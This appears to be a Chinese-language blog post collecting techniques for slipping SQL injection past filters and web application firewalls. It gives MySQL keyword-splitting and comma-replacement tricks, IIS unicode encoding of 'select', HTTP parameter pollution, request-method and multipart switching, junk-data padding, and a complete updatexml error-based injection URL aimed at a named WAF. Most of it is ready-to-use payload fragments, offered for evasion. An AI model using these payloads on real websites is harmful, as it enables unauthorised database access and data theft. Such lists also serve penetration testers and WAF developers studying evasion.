SQL注入bypass

一、数据库层特性

1、Mysql数据库bypass

1.参数和union之间
id=1\Nunion  
id=1.1union  
id=8e0union
2.union和select之间
union%0aselect
union%09select
union%0bselect
union%0cselect
union%0dselect
union%a0select
union/**/select
union/*!50000*/select
union(select xxxxx)
3.select和from之间
select`id`from
select{x id}from
4.逻辑运算符
AND
OR
XOR
&&(url编码)
||
5.and 1=1形式
and 1*2=2*1
and 3*3!=9*1
6.函数替换
延时函数:benchmark(10000000,sha(1))、sleep(5)
条件函数:case函数、if函数、IFNULL()函数、ELT函数
字符串函数:https://www.runoob.com/mysql/mysql-functions.html
7.单引号替换
反引号
8.逗号替换
limit处的逗号:
limit 1 offset 0
字符串截取处的逗号:
mid(version() from 1 for 1)
union处的逗号:
通过join拼接:select * from (select 1)a join (select{x schema_name} from information_schema.schema limit 1)b;

2、SQL server数据库bypass(没研究过数据库特性)

使用sqlmap的tamper
参考文章:https://www.cnblogs.com/yyxianren/p/12461842.html

3、Oracle数据库bypass(没研究过数据库特性)

使用sqlmap的tamper
参考文章:https://www.cnblogs.com/yyxianren/p/12461842.html

二、服务器层特性

1、IIS服务器

%特性
在iis+asp的环境时,s%elect-->select unicode编码
IIS服务器支持对于unicode解析
尝试:select->s%u006lect
ps:多个%u编码对应一个字符
s%u0065lect ---> select
s%u00f0lect ----> select apache不解析unicode编码

2、apache服务器特性

将GET类型更改为PUT或者其他类型

三、Web应用层特性

1、http参数污染

id=1/*&id=2 and 1=1 #

SQL注入bypass

2、url双重编码

3、将get请求改为post请求,同时更换数据包内容

get请求:
id=payload
Content-Type:application/x-www-form-urlencoded

post请求:
Content-Type:multipart/form-data;boundary=----------ASCSCSC

----------ASCSCSC
Content-Disposition: form-data; name='id'
payload
----------ASCSCSC

4、aspx特性,可将获取的参数进行拼接

/sql.aspx?id=1 union/*
POST:Id=2*/select null,system_user,null

5、WAF特性

对于POST类型注入,可以尝试填充垃圾数据

四、WAF绕过

说明:WAF会更新,可能不适用

1、WTS-WAF

1、union注入
利用+号替换空格
2、报错注入
http://www.xxxx.com/name.php?name=2%27+and+updatexml(1,concat_ws(1,0x7e,(SELECT+user()),0x7e),1)%23
上一篇:分享一个SQL的bypass小案例


下一篇:commandname+commandargument